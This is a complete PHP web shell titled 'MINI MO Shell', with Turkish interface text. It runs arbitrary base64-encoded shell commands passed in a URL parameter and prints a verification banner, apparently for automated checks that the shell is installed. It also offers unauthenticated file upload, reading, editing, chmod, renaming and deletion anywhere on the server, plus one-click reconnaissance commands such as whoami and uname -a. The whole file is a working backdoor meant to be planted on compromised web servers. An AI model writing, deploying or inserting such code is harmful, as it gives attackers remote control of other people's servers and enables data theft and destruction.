<?php
error_reporting(0);
set_time_limit(0);

// === RXST VERIFY ===
if(isset($_GET['v'])){
    $c=base64_decode($_GET['v']).' 2>&1';
    $o='';
    if(function_exists('shell_exec')){$o=@shell_exec($c);}
    elseif(function_exists('exec')){@exec($c,$arr);$o=implode("\n",$arr);}
    elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
    elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
    else{$o='BLOCKED';}
    echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
    exit;
}

// === MINI MO SHELL - FILE MANAGER ===
$current_path = (isset($_GET["path"])) ? $_GET["path"] : getcwd();
$current_path = str_replace("\\", "/", $current_path);
$path_parts = explode("/", $current_path);

echo "<!DOCTYPE HTML>\n<html>\n<head>\n";
echo "<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\n";
echo "<title>MINI MO Shell - Tarihli</title>\n";
echo "<style>
body{ font-family: 'Courier New', monospace; background-color: #0a0a0a; color:#00ff00; }
#content tr:hover{ background-color: #001100; text-shadow:0px 0px 10px #00ff00; }
#content .first{ background-color: #001100; color: #ffff00; }
table{ border: 1px #00ff00 dotted; width: 100%; }
a{ color:#00ff00; text-decoration: none; }
a:hover{ color:#ff0000; text-shadow:0px 0px 10px #ff0000; }
input,select,textarea{ border: 1px #00ff00 solid; background: #111; color: #00ff00; padding: 5px; border-radius:3px; }
.date-recent { color: #ff5555; font-weight: bold; }
.date-today { color: #ffaa00; font-weight: bold; }
.date-week { color: #55ff55; }
.date-old { color: #888888; }
h1{ color: #ff0000; text-shadow: 0 0 15px #ff0000; }
.upload-box{ border: 1px solid #00ff00; padding: 15px; margin: 10px 0; background: #111; }
.cmd-box{ border: 1px solid #ff0000; padding: 15px; margin: 10px 0; background: #111; }
</style>\n</head>\n<body>\n";

// RXST Verify Banner
$verify = 'RXST:'.base64_encode('MATHOK:403168').':RXEND';
echo "<div style='background:#1a1a1a;border:1px solid #ff0000;padding:8px;color:#ff0000;font-size:11px;margin-bottom:10px;'>VERIFY: ".$verify."</div>";

echo "<h1><center>MINI MINI MANI MO - FILE MANAGER</center></h1>\n";

// Path Gezinti
echo "<table width=\"800\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr><td><font color=\"white\">Path :</font> ";
foreach ($path_parts as $index => $part) {
    if ($part == "" && $index == 0) {
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($part == "") continue;
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $index; $i++) {
        echo $path_parts[$i];
        if ($i != $index) echo "/";
    }
    echo "\">$part</a>/";
}
echo "</td></tr>\n";

// Upload Form
echo "<tr><td><div class='upload-box'>";
if (isset($_FILES["file"])) {
    if (copy($_FILES["file"]["tmp_name"], $current_path . "/" . $_FILES["file"]["name"])) {
        echo "<font color=\"green\">[+] Upload Başarılı: ".$_FILES["file"]["name"]."</font><br />";
    } else {
        echo "<font color=\"red\">[-] Upload Başarısız</font><br />";
    }
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\n";
echo "<font color=\"white\">[+] File Upload :</font> <input type=\"file\" name=\"file\" />\n";
echo "<input type=\"submit\" value=\"UPLOAD\" style='background:#00ff00;color:#000;font-weight:bold;' />\n";
echo "</form>\n";
echo "</div></td></tr>\n";

// Command Box
echo "<tr><td><div class='cmd-box'>";
echo "<font color='white'>[+] Quick Command:</font> <a href='?v=".base64_encode('whoami')."' style='color:#ff0000;'>whoami</a> | ";
echo "<a href='?v=".base64_encode('uname -a')."' style='color:#ff0000;'>uname -a</a> | ";
echo "<a href='?v=".base64_encode('ls -la')."' style='color:#ff0000;'>ls -la</a> | ";
echo "<a href='?v=".base64_encode('id')."' style='color:#ff0000;'>id</a>";
echo "</div></td></tr>\n";

// Dosya İşlemleri
if (isset($_GET["filesrc"])) {
    echo "<tr><td>Current File : " . $_GET["filesrc"] . "</td></tr></table><br />";
    echo ("<pre style='background:#111;padding:15px;border:1px solid #00ff00;'>" . htmlspecialchars(file_get_contents($_GET["filesrc"])) . "</pre>");
} elseif (isset($_GET["option"]) && $_POST["opt"] != "delete") {
    echo "</table><br /><center>" . $_POST["path"] . "<br /><br />";
    if ($_POST["opt"] == "chmod") {
        if (isset($_POST["perm"])) {
            if (chmod($_POST["path"], $_POST["perm"])) {
                echo "<font color=\"green\">[+] Change Permission Başarılı</font><br/>";
            } else {
                echo "<font color=\"red\">[-] Change Permission Başarısız</font><br />";
            }
        }
        echo "<form method=\"POST\">\nPermission : <input name=\"perm\" type=\"text\" size=\"4\" value=\"" . substr(sprintf("%o", fileperms($_POST["path"])), -4) . "\" />\n";
        echo "<input type=\"hidden\" name=\"path\" value=\"" . $_POST["path"] . "\">\n";
        echo "<input type=\"hidden\" name=\"opt\" value=\"chmod\">\n";
        echo "<input type=\"submit\" value=\"Go\" style='background:#00ff00;color:#000;' />\n</form>";
    } elseif ($_POST["opt"] == "rename") {
        if (isset($_POST["newname"])) {
            if (rename($_POST["path"], dirname($_POST["path"]) . "/" . $_POST["newname"])) {
                echo "<font color=\"green\">[+] Rename Başarılı</font><br/>";
            } else {
                echo "<font color=\"red\">[-] Rename Başarısız</font><br />";
            }
            $_POST["name"] = $_POST["newname"];
        }
        echo "<form method=\"POST\">\nNew Name : <input name=\"newname\" type=\"text\" size=\"20\" value=\"" . $_POST["name"] . "\" />\n";
        echo "<input type=\"hidden\" name=\"path\" value=\"" . $_POST["path"] . "\">\n";
        echo "<input type=\"hidden\" name=\"opt\" value=\"rename\">\n";
        echo "<input type=\"submit\" value=\"Go\" style='background:#00ff00;color:#000;' />\n</form>";
    } elseif ($_POST["opt"] == "edit") {
        if (isset($_POST["src"])) {
            $fp = fopen($_POST["path"], "w");
            if (fwrite($fp, $_POST["src"])) {
                echo "<font color=\"green\">[+] Edit Başarılı</font><br/>";
            } else {
                echo "<font color=\"red\">[-] Edit Başarısız</font><br/>";
            }
            fclose($fp);
        }
        echo "<form method=\"POST\">\n<textarea cols=80 rows=20 name=\"src\" style='background:#111;color:#00ff00;border:1px solid #00ff00;'>" . htmlspecialchars(file_get_contents($_POST["path"])) . "</textarea><br />\n";
        echo "<input type=\"hidden\" name=\"path\" value=\"" . $_POST["path"] . "\">\n";
        echo "<input type=\"hidden\" name=\"opt\" value=\"edit\">\n";
        echo "<input type=\"submit\" value=\"Save\" style='background:#ff0000;color:#fff;' />\n</form>";
    }
    echo "</center>";
} else {
    // Silme İşlemi
    if (isset($_GET["option"]) && $_POST["opt"] == "delete") {
        if ($_POST["type"] == "dir") {
            if (rmdir($_POST["path"])) {
                echo "<font color=\"green\">[+] Directory Silindi</font><br/>";
            } else {
                echo "<font color=\"red\">[-] Directory Silinemedi</font><br/>";
            }
        } elseif ($_POST["type"] == "file") {
            if (unlink($_POST["path"])) {
                echo "<font color=\"green\">[+] File Silindi</font><br/>";
            } else {
                echo "<font color=\"red\">[-] File Silinemedi</font><br/>";
            }
        }
    }

    // Dizin Listeleme
    if (function_exists("opendir")) {
        $handle = opendir($current_path);
        if ($handle) {
            $scan = array();
            while (($file = readdir($handle)) !== false) {
                $scan[] = $file;
            }
            closedir($handle);
            sort($scan);
        }
    } else {
        $scan = scandir($current_path);
    }

    echo "<div id=\"content\"><table width=\"900\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n";
    echo "<tr class=\"first\">\n";
    echo "<td><center>Name</center></td>\n";
    echo "<td><center>Size</center></td>\n";
    echo "<td><center>Permission</center></td>\n";
    echo "<td><center>Modified</center></td>\n";
    echo "<td><center>Modify</center></td>\n";
    echo "</tr>\n";

    // Dizinler
    foreach ($scan as $item) {
        if (!is_dir($current_path . "/" . $item) || $item == "." || $item == "..") continue;
        $fullpath = $current_path . "/" . $item;
        $mtime = filemtime($fullpath);
        $date_str = date("Y-m-d H:i:s", $mtime);
        $time_diff = time() - $mtime;
        if ($time_diff < 3600) { $date_class = "date-recent"; }
        elseif ($time_diff < 86400) { $date_class = "date-today"; }
        elseif ($time_diff < 604800) { $date_class = "date-week"; }
        else { $date_class = "date-old"; }
        
        echo "<tr>\n";
        echo "<td><a href=\"?path=" . $fullpath . "\">" . $item . "</a></td>\n";
        echo "<td><center>--</center></td>\n";
        echo "<td><center>";
        if (is_writable($fullpath)) echo "<font color=\"green\">";
        elseif (!is_readable($fullpath)) echo "<font color=\"blue\">";
        echo perms($fullpath);
        if (is_writable($fullpath) || !is_readable($fullpath)) echo "</font>";
        echo "</center></td>\n";
        echo "<td><center><span class='$date_class' title='$date_str'>" . $date_str . "</span></center></td>\n";
        echo "<td><center><form method=\"POST\" action=\"?option&path=" . $current_path . "\">\n";
        echo "<select name=\"opt\">\n<option value=\"\">Select</option>\n<option value=\"delete\">Delete</option>\n<option value=\"chmod\">Chmod</option>\n<option value=\"rename\">Rename</option>\n</select>\n";
        echo "<input type=\"hidden\" name=\"type\" value=\"dir\">\n";
        echo "<input type=\"hidden\" name=\"name\" value=\"" . $item . "\">\n";
        echo "<input type=\"hidden\" name=\"path\" value=\"" . $fullpath . "\">\n";
        echo "<input type=\"submit\" value=\">\" style='background:#ff0000;color:#fff;' />\n</form></center></td>\n";
        echo "</tr>\n";
    }

    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td><td></td></tr>\n";

    // Dosyalar
    foreach ($scan as $item) {
        if (!is_file($current_path . "/" . $item)) continue;
        $fullpath = $current_path . "/" . $item;
        $file_size = filesize($fullpath) / 1024;
        $file_size = round($file_size, 3);
        if ($file_size >= 1024) { $file_size = round($file_size / 1024, 2) . " MB"; }
        else { $file_size = $file_size . " KB"; }
        
        $mtime = filemtime($fullpath);
        $date_str = date("Y-m-d H:i:s", $mtime);
        $time_diff = time() - $mtime;
        if ($time_diff < 3600) { $date_class = "date-recent"; }
        elseif ($time_diff < 86400) { $date_class = "date-today"; }
        elseif ($time_diff < 604800) { $date_class = "date-week"; }
        else { $date_class = "date-old"; }

        echo "<tr>\n";
        echo "<td><a href=\"?filesrc=" . $fullpath . "&path=" . $current_path . "\">" . $item . "</a></td>\n";
        echo "<td><center>" . $file_size . "</center></td>\n";
        echo "<td><center>";
        if (is_writable($fullpath)) echo "<font color=\"green\">";
        elseif (!is_readable($fullpath)) echo "<font color=\"blue\">";
        echo perms($fullpath);
        if (is_writable($fullpath) || !is_readable($fullpath)) echo "</font>";
        echo "</center></td>\n";
        echo "<td><center><span class='$date_class' title='$date_str'>" . $date_str . "</span></center></td>\n";
        echo "<td><center><form method=\"POST\" action=\"?option&path=" . $current_path . "\">\n";
        echo "<select name=\"opt\">\n<option value=\"\">Select</option>\n<option value=\"delete\">Delete</option>\n<option value=\"chmod\">Chmod</option>\n<option value=\"rename\">Rename</option>\n<option value=\"edit\">Edit</option>\n</select>\n";
        echo "<input type=\"hidden\" name=\"type\" value=\"file\">\n";
        echo "<input type=\"hidden\" name=\"name\" value=\"" . $item . "\">\n";
        echo "<input type=\"hidden\" name=\"path\" value=\"" . $fullpath . "\">\n";
        echo "<input type=\"submit\" value=\">\" style='background:#ff0000;color:#fff;' />\n</form></center></td>\n";
        echo "</tr>\n";
    }
    echo "</table>\n</div>\n";
}
echo "<center><br/> MINI MO SHELL v14.0 | Tarih: " . date("Y-m-d H:i:s") . " | RXST: ".$verify."</center>\n</body>\n</html>";

function perms($file) {
    $perms = fileperms($file);
    if (($perms & 0xC000) == 0xC000) { $info = 's'; }
    elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; }
    elseif (($perms & 0x8000) == 0x8000) { $info = '-'; }
    elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; }
    elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; }
    elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; }
    elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; }
    else { $info = 'u'; }
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}
?>